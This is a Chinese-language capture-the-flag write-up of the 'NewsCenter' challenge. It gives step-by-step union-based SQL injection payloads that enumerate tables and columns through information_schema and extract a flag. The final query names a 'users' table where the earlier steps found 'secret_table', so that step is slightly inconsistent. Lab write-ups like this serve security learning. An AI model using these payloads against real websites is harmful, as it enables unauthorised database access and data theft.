NewsCenter

进入后我们发现有一个搜索框进行新闻搜索我们尝试有无sql注入

我们输入1’ and 1=1 #判断有无sql注入发现有
攻防世界-NewsCenter详解
查看列数1’ order by 3 #
攻防世界-NewsCenter详解
联合查询 1’ union select 1,2,3 #
攻防世界-NewsCenter详解
查表:
1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
攻防世界-NewsCenter详解
查字段:
1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘secret_table’ #

攻防世界-NewsCenter详解
查看字段值

1’ union select 1,2,(select group_concat(id,0x3a,fl4g) from users) #
攻防世界-NewsCenter详解

flag:
QCTF{sq1_inJec7ion_ezzz}

相关文章:

  • 2021-11-12
  • 2021-11-02
  • 2021-07-07
  • 2021-11-26
  • 2021-09-11
  • 2021-09-07
  • 2021-04-03
  • 2021-09-29
猜你喜欢
  • 2021-04-07
  • 2021-10-12
  • 2021-12-03
  • 2021-08-27
  • 2021-11-17
  • 2021-07-13
  • 2022-12-23
相关资源
相似解决方案